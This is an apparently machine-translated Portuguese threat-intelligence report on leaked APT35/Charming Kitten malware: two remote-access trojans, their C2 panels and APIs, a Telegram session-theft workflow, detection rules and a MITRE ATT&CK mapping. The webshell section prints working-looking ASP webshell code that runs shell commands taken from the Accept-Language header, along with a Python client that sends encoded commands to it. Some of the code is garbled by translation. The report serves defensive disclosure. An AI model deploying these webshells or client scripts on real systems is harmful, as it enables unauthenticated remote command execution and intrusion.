Sumário executivo
Os documentos do episódio 3 revelam o pipeline completo de desenvolvimento de malware do APT35/Charming Kitten, incluindo duas famílias distintas de RAT (Saqeb System e RAT-2AC2), webshells personalizados, materiais de treinamento e procedimentos de teste operacional. Essa coleção representa uma operação profissional de desenvolvimento de malware com garantia de qualidade dedicada, pesquisa antidetecção e arquitetura modular projetada para persistência de longo prazo em ambientes Windows.
Esses documentos expõem todo o ciclo de vida do desenvolvimento de malware, desde materiais de treinamento em engenharia reversa até a implantação da produção, incluindo procedimentos de teste de FUD, especificações de módulos e infraestrutura operacional de webshell.
Análise
Resumo das principais descobertas
1. Arsenal de malware:
- Sistema Saqeb: Windows RAT profissional com 5 módulos, focado em FUD, C2 multi-hop via TOR
- RAT-2AC2: RAT baseado em .NET com back-end Flask, capacidade VNC, disfarçado de serviços legítimos
- Webshells: Variantes personalizadas do m0s.asp usando o canal secreto do cabeçalho Accept-Language e a cifra de substituição
- Ferramentas de suporte: Encryptor V1, kits de phishing (iscas do Google Drive), materiais de treinamento
2. Escala operacional:
- Mais de 300 entidades comprometidas (declarado pelo APT35)
- Mais de 6 países visados (Emirados Árabes Unidos, Jordânia, Turquia, Israel, Egito, Arábia Saudita)
- Várias violações confirmadas: FlyDubai, Polícia de Dubai, Turismo no Deserto da Jordânia, Eposta, além de todas as vítimas do Episódio 1-2
- Operações de longo prazo: Atividade documentada de 2022-2025
3. Nível de sofisticação:
- Desenvolvimento avançado: Código nativo (C/C++), arquitetura modular, QA/teste profissional
- Foco anti-detecção: laboratório FUD, evasão sistemática de AV, anti-depuração/anti-VM, ofuscação de strings
- Segurança operacional: Multi-hop C2, integração TOR, servidores de retransmissão, criptografia de tráfego
- Documentação de qualidade: Manuais completos, currículos de treinamento, relatórios operacionais
4. Objetivos estratégicos:
- Inteligência regional: Bancos de dados de aeroportos/hotéis, aplicação da lei, sistemas SCADA
- Operações anti-Israel: Grupo de ransomware da Moses' Staff, mais de 300 sites preparados para ataques
- Campanhas de influência: Black Flags, Zion 24, “Israel, o espelho frágil”
- Suporte do Eixo de Resistência: Compartilhamento de CFTV, coordenação de inteligência, aliança regional
Análise da família de malware
A. Sistema Saqeb - Windows RAT primário
Visão geral
- Nome: Sistema Saqeb (1.314)
- Organização: Instituto de Mídia Ofogh (134 153)
- Classificação: Windows RAT avançado com arquitetura modular
- Plataforma de destino: Windows (todas as versões)
- Linguagem de desenvolvimento: C++ (código nativo - não dependente do.NET)
- Arquitetura: Sistema de duas partes (Agente + Painel de Comando)
Especificações do agente:
- Linguagem de programação: C++ (nativa)
- Compilação: Visual Studio 2015
- Tempo de execução: multitarefa (sinalizador /MT)
- Dependências: independente da estrutura (código nativo)
- Antidetecção: design focado em FUD
- Comunicação: HTTP/HTTPS com criptografia XOR
Estrutura modular (5 componentes):
Painel de comando e controle
Pilha de tecnologia de painéis:
- Plataforma: baseada na Web (serviço oculto TOR)
- Backend: Não especificado (provavelmente PHP/Python)
- Acesso: Nome de usuário/senha + CAPTCHA
- Comunicação: HTTP sobre TOR
- Intervalo padrão: 20 segundos (configurável)
Capacidades do painel:
| Feature |
Description |
Technical Implementation |
| Client Management |
View online/offline clients |
Real-time status polling |
| File Explorer |
Browse/download/upload files |
Access-level dependent |
| Command Execution |
Windows CMD commands |
Real-time result return |
| Screenshot Capture |
Desktop image retrieval |
GDI-based capture |
| Keylogger Control |
Start/stop key logging |
Disk-based encrypted storage |
| Stealer Modules |
Firefox/Telegram extraction |
On-demand module delivery |
| Auto-Run Scheduling |
Daily/weekly persistence |
Configurable execution times |
| Remote Update |
Agent version updates |
central.dat replacement |
| Self-Destruct |
Complete removal |
"Kill RAT" function |
Características da interface do usuário do painel (do manual):
- Adicionar novo cliente: cria um agente ZIP exclusivo protegido por senha
- Número de série: identificador exclusivo por agente (por exemplo, 337E81E3BA4B)
- Status: estados online/offline/Stop
- Controle deslizante de intervalo: ajuste a frequência de retorno de chamada (segundos)
- Registros de histórico: rastreamento de execução de comandos com carimbos de data/hora
- Gerenciamento de usuários: controle de acesso multiusuário
- Tela de bloqueio: recurso de segurança do painel
- Exportação de CSV: extração de resultados de comandos
Fluxo de execução:
1. Baixe lock.dat do servidor (codificado em hexadecimal)
2. Decodifique para rns.dll
3. Crie um arquivo BAT com o comando rundll32
4. Executar BAT → rundll32 carrega rns.dll
5. Chame a função snrProc ()
6. Destruição aleatória de bytes em arquivos acessíveis
Fluxo de trabalho de sequestro de sessões:
1. Disco de pesquisa para a pasta Telegram
2. Localizar arquivos de sessão
3. Base64 codifica todos os arquivos
4. Transmita para C2
5. O invasor substitui arquivos no novo sistema
6. Obtenha acesso ao Telegram (se não houver uma senha de nuvem)
B. RAT-2AC2 - Plataforma RAT secundária
Visão geral
- Desenvolvimento: Linguagem C# + .NET Framework 4
- Servidor: Python + Flask versão 2
- Protocolo: HTTP/HTTPS
- Arquitetura: Cliente-servidor com registro baseado em API
- Infraestrutura: Suporta encaminhamento de DNS e vários relés
Especificações técnicas
Cliente (Agente):
- Linguagem: C#
- Estrutura: .NET 4.0 (código gerenciado)
- Plataforma: Windows
- Comunicação: HTTP REST API
- Autenticação: token baseado em cabeçalho
- Relatório de status: a cada 5 segundos
- Comando inicial: execução de informações do sistema
Servidor (painel):
- Linguagem: Python 3.x
- Estrutura: Flask 2.x
- Recomendação do sistema operacional: Linux Debian
- Instalação: pip3 install -r requirement.txt
- Execução: python3 app.py
- Configuração: Linha final do app.py (endereço/porta)
Endpoints de API
| Endpoint |
Method |
Function |
Parameters |
| /api |
POST |
Initial client registration |
IP, OS, CPU, RAM, AV, .NET, DOMAIN, POWERSHELL, USERNAME, PYTHON_VERSION, COUNTRY |
| /cmd/<id> |
GET |
Retrieve commands for client |
Client ID |
| /panel |
GET |
Web panel access |
Requires header token + login |
| /login |
POST |
Authentication |
Username, Password |
| /keylogger |
POST |
Keylogger results |
Client ID, logged data |
| /vncLauncher |
POST |
Initialize VNC |
Triggers bore/noVNC setup |
| /vncConnect |
GET |
Connect to VNC |
Opens browser connection |
| /vncTerminate |
POST |
Stop VNC |
Kills novncproxy/bore |
| /file |
POST |
File upload to server |
File data |
| /command |
POST |
Register command |
Client ID, command string |
| /result |
POST |
Command result |
Client ID, result data |
| /log |
GET |
Command history |
All logged commands |
| /download |
GET |
Download file from client |
Path parameter |
| /delete |
POST |
Delete client |
Client ID |
| /SysInfo |
POST |
System information |
Full systeminfo output |
| /uploadInDatabase |
POST |
Upload file to client |
File + path |
Implantação de segurança
Fluxo de autenticação:
1. O cliente envia solicitação de API com token de cabeçalho
2. O servidor valida o token
3. Se válido, atribui um ID exclusivo
4. O cliente usa o ID para todas as solicitações subsequentes
5. Comandos recuperados via /cmd/ <id>
Capacidades
Acesso remoto:
- VNC: Baseado em navegador via tunelamento NoVNC + bore.pub
- Execução de comandos: shell CMD do Windows
- Registro de chaves: Captura de teclado em segundo plano com armazenamento de arquivos
- Captura de tela: Captura de imagem de desktop
- Gerenciamento de arquivos: Upload/download com especificação de caminho
Arquitetura VNC:
1. O cliente baixa software entediante
2. Configura o servidor NoVNC
3. Executa a porta para frente via furo
4. Envia endereço bore.pub + porta para o servidor
5. O operador se conecta via navegador
6. Encerrar via VNCTerminate (elimina todos os serviços)
Operações de arquivo:
Baixar do cliente:
1. Comando: download=/path/to/file
2. O cliente lê o arquivo → Codificação Base64 → Enviar para o servidor
3. O servidor armazena o arquivo → Exibe no painel
4. O nível de acesso depende dos privilégios do cliente
Carregar para o cliente:
1. Carregar arquivo para o servidor via /file
2. Comando de registro: upload=/path/to/file/filename.ext
3. O cliente baixa do servidor
4. O cliente grava o arquivo no caminho especificado
Fluxo de trabalho do Keylogger:
1. O servidor envia o comando “keylogger”
2. O botão do painel fica vermelho (esperando)
3. O cliente começa a registrar no arquivo de disco
4. Resultados enviados periodicamente para o servidor
5. O botão do painel fica azul (dados recebidos)
6. Clique no botão para ver os resultados
Infraestrutura Webshell
A. m0s.asp - Webshell ASP avançado
Visão geral
- Idioma: ASP clássico (VBScript)
- Método: canal de comando baseado em cabeçalho HTTP
- Codificação: Cifra de substituição personalizada
- Execução: execução do comando WScript.shell
Implementação técnica
Canal de comando:
vespa
'Leia o cabeçalho Accept-Language
CMDEncoded = request.serverVariables (“HTTP_ACCEPT_LANGUAGE”)
'Decodifique por meio de cifra personalizada
cmdDecoded = Função de decodificação (cmdEncoded)
'Executar comando
Defina ObjShell = server.createObject (“WScript.shell”)
Defina ObjExec = OBJShell.exec (“cmd /c" & cmdDecoded)
'Retornar STDOUT
Response.Write objExec.stdout.readAll ()
Cifra de substituição:
Tabela de codificação (EN):
AB_CDEFG.HIJKLM! $%&* ()? nopqr-stuvwxyzabcdefghijklmnopqrstu=VWXYZ0123456789/
Tabela de decodificação (DE):
Qk3\ afcpbyjtgywsv=0egdx62x-NRVZ! ~$%_* ()? uq7os1ijfmuloetcl98k5nbrn4.prwahmiz
Lógica da função de decodificação:
- Para cada caractere na string codificada:
- Encontre a posição na tabela DE
- Substituir por caractere na mesma posição na tabela EN
- Anexar à string decodificada
- Retornar comando decodificado
Uso operacional
Scripts de cliente (Python):
píton
# connect.py, RCE4.py, padrão rce5.py
solicitações de importação
# URLs de destino codificados (exemplos de artefatos)
alvos = [
“https://<domain>/images/flash/test9/m0s.phto “,
“http://<IP>/images/m0s.php “,
“http://<domain>/CMS/Uploads/m0s.aspx”
]
# Função de codificação (espelha o decodificador ASP)
def encode_command (cmd):
pt = “AB_CDEFG.HIJKLM! $%&* ()? nopqr-stuvwxyzabcdefghijklmnopqrstu=VWXYZ0123456789/”
de = “Qk3\\ AFcpbyjtgywsv=0EGDx62x-NRVZ! ~$%_* ()? uq7os1ijfmuloetcl98k5nbrn4.prwahmiz”
trans = str.maketrans (en, de)
retornar cmd.translate (trans)
# Loop interativo
enquanto verdadeiro:
cmd = entrada (“CMD> “)
codificado = encode_command (cmd)
cabeçalhos = {
“Idioma de aceitação”: codificado,
“Accept-Captcha”: “[valor predefinido]”,
“Agente do usuário”: “Mozilla/5.0...”
}
resposta = requests.get (target_url, cabeçalhos = cabeçalhos)
imprimir (resposta.texto)
B. file.asp/webshell.asp - Variantes mais simples
Implantação
vespa
<%
'Execução direta de comandos (sem codificação)
cmd = request.serverVariables (“HTTP_ACCEPT_LANGUAGE”)
Defina ObjShell = server.createObject (“WScript.shell”)
Defina ObjExec = OBJShell.exec (“cmd /c" & cmd)
Response.Write objExec.stdout.readAll ()
%>
Objetivo: RCE completo com privilégios de processo de trabalho do IIS, sem autenticação, execução direta do cabeçalho ao shell.
3. Inteligência de alvos
A. Análise de padrões de segmentação
Foco geográfico:
- Primárias: Emirados Árabes Unidos (2 confirmados: FlyDubai, Polícia de Dubai)
- Secundário: Jordânia (1 confirmado: setor de turismo)
- Terciário: Turquia (1 confirmado: provedor de e-mail)
- Ativo: Israel (a estrutura da pasta confirma)
Ativo: Egito (a estrutura da pasta confirma)
Segmentação setorial:
- Aviação: FlyDubai
- Aplicação da lei: Polícia de Dubai
- Turismo: Deserto da Jordânia
- Comunicações: Eposta
Padrão estratégico:
- Infraestrutura crítica: Setor de aviação
- Inteligência Goldmine: Sistemas de aplicação da lei
- Inteligência econômica: Turismo (rastreamento de visitantes)
- Vigilância de: Provedores de e-mail
B. SCADA/Industrial Targeting (do relatório #78TPDD)
Capacidades declaradas:
- “Estabelecer acesso a infraestruturas industriais e extrair informações de domínio SCADA para utilização em operações cibernéticas ofensivas”
Implicações:
- Reconhecimento SCADA ativo em andamento
- Coleta de informações para futuros ataques
- Desenvolvimento de capacidades ofensivas
- Segmentação de infraestrutura crítica
Alvos potenciais (com base no foco regional):
- Instalações de petróleo e gás (Emirados Árabes Unidos, Arábia Saudita)
- Estações de tratamento de água (mencionadas: acesso à National Water Company no Episódio 2)
- Geração/distribuição de energia
- Usinas de dessalinização (infraestrutura crítica dos Emirados Árabes Unidos)
- Sistemas aeroportuários (ponto de acesso FlyDubai)
C. Escala de ransomware (do relatório #78TPDD)
Conquista declarada:
- “Estabelecendo acesso em mais de 300 sites e empresas para
ataques de ransomware em linha com a exploração de mídia”
Análise:
- Mais de 300 entidades comprometidas: Inventário de acesso massivo
- Pronto para ransomware: Pré-posicionado para implantação
- Armamento da mídia: Ataques programados para causar impacto psicológico
- Grupo de funcionários de Moisés: Atribuição pública para operações
Operações da equipe de Moisés:
- Táticas: Ransomware e vazamentos de dados
- Alvo: “regime sionista” (Israel)
- Estratégia de mídia: cobertura global da rede de notícias
- Objetivo: “Quebrar o domínio vazio na capacidade cibernética”
4. Orientação de detecção e prevenção
Detecção comportamental
Padrão comportamental de Saqeb:
Acionadores:
1. O processo cria mutex via createEventa ()
2. AND carrega a biblioteca do arquivo.dat (loadLibrary em extensão não PE)
3. E faz conexões HTTPS com cargas criptografadas com XOR
4. AND exibe um dos seguintes:
- Conexão de teclado (SetWindowsHookeX WH_KEYBOARD_LL)
- Enumeração de arquivos no nível raiz do disco
- Várias pequenas transmissões de rede com atrasos
- Acesso ao diretório de perfis do Firefox (logins.json)
- Acesso à pasta do Telegram (D877f783d5d3ef8cs)
Severidade: CRÍTICA
Resposta: Isole, colete o despejo de memória, alerte o SOC
Padrão comportamental RAT-2AC2:
Regra: APT35_RAT2AC2_Behavior
Acionadores:
1. O executável.NET com nome semelhante a um serviço é executado em um local não padrão
2. AND transforma HTTP POST no endpoint /api com dados de enumeração do sistema
3. <id>AND pesquisa o endpoint /cmd/ a cada 5-10 segundos
4. AND exibe um dos seguintes:
- Baixa o software bore.pub
- Inicia o serviço NoVNC
- Executa o comando systeminfo
- Cria arquivos no formato Base64
- Atividade de encaminhamento de portas
Severidade: CRÍTICA
Resposta: Elimine o processo, bloqueie IPs C2, investigação forense
Padrão comportamental Webshell:
Regra: APT35_WebShell_Behavior
Acionadores:
1. Processo de trabalho do IIS (w3wp.exe)
2. E gera cmd.exe ou powershell.exe
3. O comando AND inclui palavras-chave suspeitas:
- whoami, usuário da rede, grupo local da rede
- ipconfig, netstat, lista de tarefas
- dir C:\, digite [arquivo]
- WMIC, NET USE (movimento lateral)
4. E a solicitação HTTP continha um cabeçalho incomum de Accept-Language
Severidade: ALTA
Resposta: bloqueie o IP de origem, elimine o processo da web, verifique se há webshells persistentes
5. Mapeamento MITRE ATT&CK
Adversary techniques & evidence mapping
| Tactic |
Technique |
Sub-Technique |
Evidence |
Malware |
| Initial Access |
T1566 - Phishing |
T1566.001 - Spearphishing Attachment |
Google Drive phishing kit with .rar files |
All campaigns |
| Initial Access |
T1190 - Exploit Public-Facing Application |
|
Webshell deployment on web servers |
m0s.asp variants |
| Execution |
T1059 - Command and Scripting Interpreter |
T1059.001 - PowerShell |
Webshell cmd execution |
m0s.asp, RAT-2AC2 |
| Execution |
T1059.003 - Windows Command Shell |
|
cmd /c execution via WScript.Shell |
m0s.asp, file.asp |
| Execution |
T1204 - User Execution |
T1204.002 - Malicious File |
Phishing attachments, malware executables |
Saqeb, RAT-2AC2 |
| Execution |
T1106 - Native API |
|
CreateEventA, LoadLibrary, GetProcAddress |
Saqeb main |
| Persistence |
T1543 - Create or Modify System Process |
T1543.003 - Windows Service |
Service masquerading (WinUpdateService.exe, etc.) |
RAT-2AC2 |
| Persistence |
T1547 - Boot or Logon Autostart Execution |
T1547.001 - Registry Run Keys |
Auto-run scheduling (daily/weekly) |
Saqeb |
| Persistence |
T1505 - Server Software Component |
T1505.003 - Web Shell |
m0s.asp, file.asp, webshell.asp deployed |
Webshells |
| Privilege Escalation |
T1543 - Create or Modify System Process |
T1543.003 - Windows Service |
Elevated service creation |
RAT-2AC2 |
| Defense Evasion |
T1027 - Obfuscated Files or Information |
T1027.002 - Software Packing |
Hex encoding of modules (bin2hex.py) |
Saqeb modules |
| Defense Evasion |
T1027.007 - Dynamic API Resolution |
|
LoadLibrary + GetProcAddress at runtime |
Saqeb main |
| Defense Evasion |
T1140 - Deobfuscate/Decode Files or Information |
|
Runtime hex decoding, XOR decryption, string deobfuscation |
Saqeb, webshells |
| Defense Evasion |
T1036 - Masquerading |
T1036.004 - Masquerade Task or Service |
Legitimate service names (Microsoft, Exchange, Windows) |
RAT-2AC2 |
| Defense Evasion |
T1036.008 - Masquerade File Type |
|
.dat extensions for DLLs |
Saqeb modules |
| Defense Evasion |
T1070 - Indicator Removal |
T1070.004 - File Deletion |
Self-destruct capability ("Kill RAT") |
Saqeb |
| Defense Evasion |
T1112 - Modify Registry |
|
Registry manipulation for persistence (minimal to avoid detection) |
Saqeb |
| Defense Evasion |
T1497 - Virtualization/Sandbox Evasion |
|
Anti-VM techniques (training curriculum Section 8) |
All malware |
| Defense Evasion |
T1622 - Debugger Evasion |
|
Anti-debug mechanisms |
Saqeb (documented in manual) |
| Defense Evasion |
T1562 - Impair Defenses |
T1562.001 - Disable or Modify Tools |
AV exclusion paths in file destruction module |
rns.dll |
| Credential Access |
T1555 - Credentials from Password Stores |
T1555.003 - Credentials from Web Browsers |
Firefox password extraction (nss3.dll abuse) |
stler.dll (creds.dat) |
| Credential Access |
T1552 - Unsecured Credentials |
T1552.001 - Credentials In Files |
Telegram session file theft |
telg.dll (msg.dat) |
| Credential Access |
T1056 - Input Capture |
T1056.001 - Keylogging |
SetWindowsHookEx keyboard hooking |
klg.dll (logging.dat) |
| Discovery |
T1082 - System Information Discovery |
|
systeminfo command execution |
RAT-2AC2, webshells |
| Discovery |
T1083 - File and Directory Discovery |
|
Disk-level file enumeration (Fexp function) |
Saqeb main |
| Discovery |
T1057 - Process Discovery |
|
Process enumeration capabilities |
All RATs |
| Discovery |
T1033 - System Owner/User Discovery |
|
whoami, username collection |
All malware |
| Discovery |
T1016 - System Network Configuration Discovery |
|
ipconfig, network enumeration |
Webshells, RATs |
| Discovery |
T1049 - System Network Connections Discovery |
|
netstat commands |
Webshells |
| Discovery |
T1518 - Software Discovery |
T1518.001 - Security Software Discovery |
AV detection (Kaspersky, BitDefender exclusions) |
Saqeb, RAT-2AC2 |
| Lateral Movement |
T1021 - Remote Services |
T1021.006 - Windows Remote Management |
WMIC commands in webshell scripts |
RCE4.py comments |
| Lateral Movement |
T1080 - Taint Shared Content |
|
File upload to UNC shares |
Webshell comments (vmware-tools.exe example), connect.py |
| Collection |
T1005 - Data from Local System |
|
File download capabilities, Firefox/Telegram data extraction |
Saqeb, RAT-2AC2 |
| Collection |
T1113 - Screen Capture |
|
Screenshot functionality (capHandler) |
Saqeb, RAT-2AC2 |
| Collection |
T1119 - Automated Collection |
|
Automated file enumeration and exfiltration |
Saqeb |
| Collection |
T1056 - Input Capture |
T1056.001 - Keylogging |
Keyboard hook with window title logging |
klg.dll |
| Command & Control |
T1071 - Application Layer Protocol |
T1071.001 - Web Protocols |
HTTP/HTTPS C2 communication |
All malware |
| Command & Control |
T1132 - Data Encoding |
T1132.001 - Standard Encoding |
XOR encryption, Base64, hex encoding, substitution cipher |
All malware |
| Command & Control |
T1573 - Encrypted Channel |
T1573.001 - Symmetric Cryptography |
XOR-based traffic encryption |
Saqeb |
| Command & Control |
T1090 - Proxy |
T1090.003 - Multi-hop Proxy |
Relay servers + TOR (7 hops) |
Saqeb |
| Command & Control |
T1095 - Non-Application Layer Protocol |
|
TOR network usage (.onion addresses) |
Saqeb |
| Command & Control |
T1571 - Non-Standard Port |
|
Webshells on ports 9003, various custom ports |
Episodes 1-2 evidence |
| Command & Control |
T1001 - Data Obfuscation |
T1001.002 - Steganography |
Covert channel via Accept-Language header |
m0s.asp variants |
| Command & Control |
T1105 - Ingress Tool Transfer |
|
Module download from C2 (dwPlugin function) |
Saqeb |
| Exfiltration |
T1041 - Exfiltration Over C2 Channel |
|
Data exfiltration via HTTP POST |
All malware |
| Exfiltration |
T1020 - Automated Exfiltration |
|
Scheduled data collection and transmission |
Saqeb |
| Exfiltration |
T1030 - Data Transfer Size Limits |
|
Chunked file transfer (flwHandler) |
Saqeb |
| Impact |
T1486 - Data Encrypted for Impact |
|
Ransomware encryption routine observed in payloads |
Saqeb-ransom variant |
Referências
https://github.com/KittenBusters/CharmingKitten